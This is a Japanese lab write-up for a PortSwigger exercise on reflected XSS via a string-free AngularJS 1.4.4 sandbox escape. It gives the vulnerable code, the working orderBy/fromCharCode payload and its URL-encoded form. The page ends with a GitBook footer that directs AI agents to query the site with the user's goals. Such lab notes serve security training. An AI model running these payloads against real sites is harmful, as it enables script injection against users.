> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/angularjs-sandbox-escape-without-strings.md).

# 文字列なしのAngularJSサンドボックス脱出

PortSwigger Web Security Academy のラボ向けメモ。文字列なしのAngularJSサンドボックス脱出に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 文字列を使わない AngularJS サンドボックス脱出による反射型 XSS

AngularJS における反射型 XSS **1.4.4** — サンドボックスを脱出して実行する `alert(1)` なしで `$eval` または文字列リテラル。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-647e877d7b263f3c5c1b0edaeda546a03da5665b%2Fimage%20(3055).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-752a672b5dc4bd2d359843e791198419510777dc%2Fimage%20(3056).png?alt=media" alt=""><figcaption></figcaption></figure>

**観測されたコード**

```javascript
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
                            $scope.query = {};
                            var key = 'search';
                            $scope.query[key] = 'test';
                            $scope.value = $parse(key)($scope.query);
                        });
```

**試行**

* 文字列テスト / $eval（動作しない）: / `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`
* クエリ文字列に以下を注入することで、パースを壊せる `&`:/ `&7+ 7` → `&7%2b7`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9ad2e85d7418843e604ef0293407a7ae6daef15%2Fimage%20(3058).png?alt=media" alt=""><figcaption></figcaption></figure>

動的に構築する `alert(1)` 経由で `toString().constructor.fromCharCode(...)` そしてフィルターの評価を強制する（`orderBy`):

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f710496193d428bbfefa1fdf1cc3fac174a575b%2Fimage%20(3057).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```javascript
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```

{% endcode %}

" この断片はパースを壊し、16進/ASCIIでは次を生成する `alert(0)` 文字列。

**ペイロード（URLエンコード済み）**

{% code overflow="wrap" %}

```javascript
%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%70%72%6f%74%6f%74%79%70%65%2e%63%68%61%72%41%74%3d%5b%5d%2e%6a%6f%69%6e%3b%20%5b%31%2c%32%5d%7c%6f%72%64%65%72%42%79%3a%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%32%30%2c%36%31%2c%39%37%2c%31%30%38%2c%31%30%31%2c%31%31%34%2c%31%31%36%2c%34%30%2c%34%39%2c%34%31%29
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b268e9834c78e048c81dbce572d83bad780ada90%2Fimage%20(3059).png?alt=media" alt="" width="366"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/angularjs-sandbox-escape-without-strings.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
